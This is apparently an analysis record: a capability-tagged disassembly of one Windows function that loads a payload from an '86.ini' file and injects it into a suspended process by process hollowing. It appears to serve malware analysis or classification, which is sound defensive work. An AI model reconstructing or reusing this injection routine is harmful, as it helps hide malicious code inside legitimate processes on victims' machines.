Function at 0x100021d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016453
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x8f4
mov eax, dword [0x1001d470]
xor eax, ebp
mov dword [ebp - 0x78], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x5a0]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.86.ini
lea ecx, [ebp - 0x5a0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
push 0x40
push 0x20
lea edx, [ebp - 0x5a0]
push edx
lea ecx, [ebp - 0x188]
call fcn.10003300
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x188]
call fcn.10001cd0
movzx edx, al
test edx, edx
je 0x1000228b
mov dword [ebp - 0x88c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x188]
call fcn.100026d0
mov eax, dword [ebp - 0x88c]
jmp 0x100026a8
push 2
push 0
push 0
lea ecx, [ebp - 0x188]
call fcn.10002bf0
lea eax, [ebp - 0x8a8]
push eax
lea ecx, [ebp - 0x188]
call fcn.10002c80
mov ecx, eax
call fcn.10004050
mov dword [ebp - 0xd4], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x188]
call fcn.10002bf0
mov ecx, dword [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x24]
call fcn.10004070
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xd4]
xor eax, eax
push eax
push edx
lea ecx, [ebp - 0x24]
call fcn.10004160
push eax
lea ecx, [ebp - 0x188]
call fcn.10002aa0
lea ecx, [ebp - 0x188]
call fcn.10003460
mov ecx, 0x15
mov esi, 0x10019f88
lea edi, [ebp - 0xd0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x190], 0x56
mov ecx, dword [ebp - 0x190]
push ecx
lea edx, [ebp - 0xd0]
push edx
mov eax, dword [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x24]
call fcn.10004160
push eax
call fcn.10002120
add esp, 0x10
mov ecx, dword [ebp - 0xd4]
push ecx
call fcn.10007115
add esp, 4
mov dword [ebp - 0x8ac], eax
mov edx, dword [ebp - 0x8ac]
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x8b0]
push ecx
lea ecx, [ebp - 0x24]
call fcn.10004130
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x8b4]
push eax
lea ecx, [ebp - 0x24]
call fcn.10004100
mov ecx, dword [eax]
push ecx
call fcn.10006290
add esp, 0xc
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 2
push 0x40
push 0x3000
mov edx, dword [ebp - 0xd4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x100023f3
push 0x10019fe0
lea ecx, [ebp - 0x8c0]
call fcn.10002170
push 0x1001b5b4
lea eax, [ebp - 0x8c0]
push eax
call fcn.10009061
mov ecx, dword [ebp - 0xd4]
push ecx
mov edx, dword [ebp - 0x18c]
push edx
mov eax, dword [ebp - 0x74]
push eax
call fcn.10008d00
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x70]
push ecx
call fcn.1000cb40
add esp, 0xc
mov dword [ebp - 0x70], 0x44
lea edx, [ebp - 0x5b0]
push edx
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000246c
push 0x1001a038
lea ecx, [ebp - 0x8cc]
call fcn.10002170
push 0x1001b5b4
lea edx, [ebp - 0x8cc]
push edx
call fcn.10009061
mov dword [ebp - 0x880], 0x10007
lea eax, [ebp - 0x880]
push eax
mov ecx, dword [ebp - 0x5ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x100024af
push 0x1001a090
lea ecx, [ebp - 0x8d8]
call fcn.10002170
push 0x1001b5b4
lea edx, [ebp - 0x8d8]
push edx
call fcn.10009061
push 0x40
push 0x3000
mov eax, dword [ebp - 0xd4]
push eax
push 0
mov ecx, dword [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100024f6
push 0x1001a0e8
lea ecx, [ebp - 0x8e4]
call fcn.10002170
push 0x1001b5b4
lea edx, [ebp - 0x8e4]
push edx
call fcn.10009061
mov dword [ebp - 0x884], 0
lea eax, [ebp - 0x884]
push eax
mov ecx, dword [ebp - 0xd4]
push ecx
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10002548
push 0x1001a140
lea ecx, [ebp - 0x8f0]
call fcn.10002170
push 0x1001b5b4
lea edx, [ebp - 0x8f0]
push edx
call fcn.10009061
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x7c8], eax
lea ecx, [ebp - 0x880]
push ecx
mov edx, dword [ebp - 0x5ac]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1000258a
push str.skBVsKDzeTS_MU_F4KCLQchY5tZtKYTmG4Agv7KyGm4rg_atZWLzJ_spFDmW2Nr9k2exjQjhXvD
lea ecx, [ebp - 0x8fc]
call fcn.10002170
push 0x1001b5b4
lea eax, [ebp - 0x8fc]
push eax
call fcn.10009061
mov ecx, dword [ebp - 0x5ac]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x10002620
mov dword [ebp - 4], 1
jmp 0x1000264f
mov edx, dword [ebp - 0x5ac]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x5b0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x904], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.100040e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x188]
call fcn.100026d0
mov eax, dword [ebp - 0x904]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x78]
xor ecx, ebp
call fcn.1000743c
mov esp, ebp
pop ebp
ret